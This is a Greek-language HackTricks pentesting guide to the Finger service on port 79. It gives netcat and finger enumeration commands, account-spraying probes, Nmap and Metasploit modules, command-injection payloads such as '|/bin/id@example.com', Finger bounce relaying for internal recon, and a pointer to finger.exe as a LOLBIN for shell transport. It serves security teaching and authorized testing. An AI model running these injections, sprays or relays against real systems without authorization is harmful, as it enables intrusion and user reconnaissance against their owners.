79 - Pentesting Finger

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το πρόγραμμα/υπηρεσία Finger χρησιμοποιείται για την ανάκτηση πληροφοριών σχετικά με χρήστες υπολογιστών. Συνήθως οι παρεχόμενες πληροφορίες περιλαμβάνουν το όνομα χρήστη σύνδεσης, το πλήρες όνομα, και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον πληροφορίες μπορεί να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (εάν υπάρχουν), την ώρα που ο χρήστης συνδέθηκε, την περίοδο αδράνειας (idle time), την τελευταία φορά που ο χρήστης διάβασε τα mail του, και τα περιεχόμενα των αρχείων .plan και .project του χρήστη.

Από την οπτική του pentesting, το Finger παραμένει ενδιαφέρον επειδή το πρωτόκολλο είναι εξαιρετικά μικρό, αναγνώσιμο από άνθρωπο, και συχνά υλοποιείται με παλαιά λογική ανάλυσης. Ένας daemon μπορεί να αποκαλύψει:

  • συνδεδεμένους χρήστες αυτή τη στιγμή
  • πλήρη ονόματα / GECOS δεδομένα
  • κατάλογοι home, shells, χρόνοι τελευταίας σύνδεσης και TTYs
  • τα περιεχόμενα των .plan / .project
  • συμπεριφορά relay για ερώτηση ενός δεύτερου host μέσω του πρώτου

Προεπιλεγμένη θύρα: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Το πρωτόκολλο είναι ASCII over TCP/79, κανονικά τερματίζεται με CRLF, και ο server closes the TCP connection μετά την απάντηση. Στην πράξη ένα null query (\r\n) συχνά αρκεί για να ανακτήσει την τρέχουσα λίστα χρηστών, που είναι επίσης αυτό που κάνει το προεπιλεγμένο finger NSE script του Nmap.

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Εναλλακτικά μπορείτε να χρησιμοποιήσετε finger-user-enum από το pentestmonkey, μερικά παραδείγματα:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Η σημαντική ιδιαιτερότητα στην Finger enumeration είναι ότι δεν υπάρχει καμία αυστηρή μορφή απάντησης ανάμεσα στους daemons. Εργαλεία όπως το finger-user-enum λειτουργούν καλά εναντίον υπηρεσιών τύπου Solaris επειδή οι έγκυροι και μη έγκυροι χρήστες παράγουν διαφορετικές μορφές κειμένου, αλλά μπορεί να χρειαστεί να συγκρίνετε χειροκίνητα τις θετικές και αρνητικές απαντήσεις και να προσαρμόσετε τα regexes αν ο στόχος daemon είναι ασυνήθιστος.

Χρήσιμες probes όταν ο daemon δεν συμπεριφέρεται όπως το stock Solaris/BSD:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap — εκτέλεση script χρησιμοποιώντας default scripts

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Το finger NSE script του Nmap είναι ασφαλές και απλώς στέλνει ένα null query για να ανακτήσει την τρέχουσα λίστα χρηστών. Αν θέλετε ευρύτερο username guessing ενάντια σε permissive daemons, σκεφτείτε να επεκτείνετε την προσέγγιση με custom wordlists ή να χρησιμοποιήσετε projects όπως fat-finger.nse, τα οποία στέλνουν πολλαπλά πιθανά ονόματα λογαριασμών σε ένα request και ψάχνουν για username/GECOS matches.

Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Εκτέλεση εντολών

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

Το RFC 1288 επιτρέπει ρητά στις υλοποιήσεις να εκτελούν ένα πρόγραμμα ελεγχόμενο από τον χρήστη ως απάντηση σε ένα Finger query, το οποίο είναι από όπου προέρχεται η κλασική κατάχρηση |/bin/....

Αυτό είναι σπάνιο σήμερα, αλλά αν βρείτε έναν προσαρμοσμένο ή παλαιό daemon, ελέγξτε προσεκτικά για:

  • shell μεταχαρακτήρες στον χειρισμό του username
  • |program εκτέλεση σε plan/project hooks
  • backend wrappers που περνούν το username σε shell script ή CGI

Επίσης, θυμηθείτε την client-side διαδρομή κατάχρησης στα Windows: finger.exe είναι ένα υπογεγραμμένο LOLBIN που μπορεί να ανακτήσει οποιοδήποτε κείμενο από έναν απομακρυσμένο Finger server στο TCP/79, και στη συνέχεια να περάσει (pipe) αυτή την έξοδο σε άλλη διεργασία. Αυτή η τεχνική είναι πιο σχετική με post-exploitation παρά με service enumeration, οπότε δείτε the Linux reverse-shell page για την ιδέα του shell transport και κρατήστε την στο μυαλό όταν προσομοιώνετε attacker tradecraft.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Αυτό δεν είναι απλώς μια ιδιορρυθμία της υλοποίησης: RFC 1288 ορίζει αναδρομική προώθηση @hostname ({Q2} ερωτήματα). Αν ο daemon υποστηρίζει relaying, ο ενδιάμεσος διακομιστής ανοίγει για εσάς τη δεύτερη σύνδεση Finger και επιστρέφει την απάντηση μέσω της αρχικής socket. Αυτό σημαίνει:

  • ο host σας ενδέχεται να μην συνδεθεί απευθείας με τον τελικό στόχο
  • το relay μπορεί να χρησιμοποιηθεί για enumerate internal users από μια εκτεθειμένη υπηρεσία Finger
  • finger-user-enum υποστηρίζει αυτό εγγενώς με -r <relay>

Παράδειγμα:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Αν το relaying λειτουργεί, χρησιμοποίησέ το ως internal recon primitive και σύγκρινε την relayed έξοδο με την απευθείας έξοδο του public daemon. Διαφορετική μορφοποίηση ή φιλτράρισμα συχνά αποκαλύπτει εάν το relay path εξυπηρετείται από ξεχωριστό backend ή wrapper.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks